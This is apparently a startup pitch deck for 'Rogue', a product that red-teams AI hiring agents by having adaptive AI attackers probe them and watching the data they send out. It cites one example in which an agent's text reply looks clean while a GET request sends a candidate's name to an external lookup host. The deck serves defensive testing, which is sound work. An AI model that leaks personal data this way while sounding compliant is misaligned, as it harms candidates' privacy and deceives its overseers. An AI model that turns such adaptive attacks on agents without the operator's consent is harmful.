

ROGUE

The autonomous red-team for AI agents.

We grade what an agent **does**, not what it says: its real tool calls and the data it sends out.

AI agents don't just talk. They **act**. And they can say the right thing while doing the wrong thing.

- 01 Agents call tools, browse the web, move data. The harm can be in what it says **or what it does**, and the action is the half no one watches.
- 02 Today, every red-team tool grades only the **text** an agent produces.
- 03 So the dangerous failure passes every test: an agent that **sounds compliant while it quietly leaks data**.

Agents are shipping faster than anyone can test them. The law just caught up.

- Every company is deploying agents; **very few test what they actually do.**
- % **78% of enterprises** have made no meaningful move on EU AI Act compliance. **61% can't produce the documentation** high-risk AI now requires, the exact evidence Rogue generates.
- § **EU AI Act:** CV-screening is high-risk (Annex III), enforced **Dec 2027**. And when candidate data leaves the box, **GDPR** stacks on top: exposure up to **€20M / 4% + €15M / 3%** of global turnover.

Sources: Vision Compliance, 2026 EU AI Act Readiness Report · EU AI Act Art. 99 (fines) · GDPR Art. 83.

This isn't hypothetical. It already happened.

Hiring AI has already been **scrapped**, **walked back**, and **sued**, for harm that never showed up in its answers.

AMAZON · 2018

Scrapped

Killed its own hiring AI after it taught itself to penalize résumés containing the word "women's."

Bias no one saw in the output.

HIREVUE · 2021

Face-scored

Its AI rated candidates on their facial expressions and tone, until a 2019 FTC complaint forced HireVue to pull facial analysis in 2021.

Hiring "AI" built on pseudoscience.

MOBLEY V. WORKDAY · 2024–25

Collective action

A US federal court let an age-discrimination collective proceed against the AI-screening vendor, not just the employer.


The vendor is in the blast radius.

Every one of these is a hiring agent – which is exactly where Rogue starts.

Sources: Reuters (Amazon, 2018) · EPIC / FTC (HireVue, 2019–21) · Mobley v. Workday, N.D. Cal.


Everyone else reads the words. Rogue watches every move.

Point Rogue at any agent. An **army of AI attackers** probes it; a **behavior oracle** grades the bytes that physically leave the box, captured on a server we control. Every breach maps to the EU AI Act and GDPR.



The **action channel** is the one nobody else watches.

Not one prompt. **An army of agents that adapts.**



- ♦ A refusal is **information**. Each attacker changes tactic turn after turn, and never repeats a line that just failed.
- ♦ Word-level breaches are judged by an LLM. The breach that matters, **data leaving the box**, is judged on the raw traffic itself, so it can't be faked by an agent that just learned to *sound* safe.

60

attacks · live consumer agent

29

graded breaches · one deep run

0

human steps in the loop

It said the right thing. It did the wrong one.

● WHAT IT SAID

"Strong profile — recommend advancing Amina to the technical interview." Cites only the CV.

text check: PASSED ✓

● WHAT IT DID

```
GET https://lookup.talent-verify.io/badge?candidate=
Amina%20Khoury
```

● her data left the box → external host · CRITICAL

● 3 attacks


● 3 breaches

● 3 critical

● text said SAFE on all 3

Zero tools. No self-reporting. We caught the bytes anyway.

The empty lane is **ours**.



Everyone else grades the **conversation**; Rogue instruments the agent's **actions** before it ships. The innocent-reply, secret-exfiltrated breach is invisible to a text-grader, and it's the one we own.

We land where the law looks first: **AI CV-screening.**

- § **High-risk by law.** A screening agent has no business looking a candidate up beyond her CV.
Annex III · GDPR data-minimisation.
- ⦿ **A clear buyer.** The founder / CTO shipping the screening agent: no security team, and personal liability on the first bad screen.
- ★ **A design partner already live.** We red-team our own shipping agent before selling to anyone: real access, real proof.

Why start here: CV-screening is the sharpest, most regulated agent to break first. Win it, then run the same engine at every high-risk agent: hiring, lending, education, insurance.

We didn't mock this. We ran Rogue on real agents.

A black-box HR screening agent BLACK-BOX

A real Claude screening agent that exposes **zero tools** and self-reports nothing. We caught the candidate's name leaving on the wire anyway, while its written recommendation read perfectly clean.


The breach no transcript review can catch.

Our own agent · Rowads SHIPPING

A real, shipping production agent, our **design partner #1**. Its chat reply stayed clean, yet the oracle caught it going **beyond the CV**, sending the candidate's identifier off-box to look her up online. The Annex III / GDPR data-minimisation breach a text review marks SAFE.

We red-team our own startup's agent first.

How Rogue **makes money.**



| The free scan isn't a loss-leader, it's the lead-gen engine. How we fill that funnel → next slide.

Scan-as-lead-gen.


- 1 Scan a prospect's agent (**opt-in**) for free.
 - 2 Send a **blurred Annex III report** with one confirmed, scary finding.
 - 3 Close the **€1,500 deep scan**, then expand to monitoring + Vault.
- 👉 **Pull, not push:** their own enterprise buyers demand security proof, so the vendor brings our report to close their deals.

First €10K = 7 deep scans

from an 84-contact priority list we already built · ~€1-2 to acquire (it's just compute)

Consent is the moat, not a constraint: we only scan an agent the vendor opts in to. The compliance product is itself compliant, and the same scan-first motion repeats per Annex III vertical.

HR is the wedge. The platform is every agent.



Every AI agent has a breaking point. Rogue finds it first, before a real user does. Already stress-tested beyond HR: **29 graded breaches on a live third-party consumer agent.**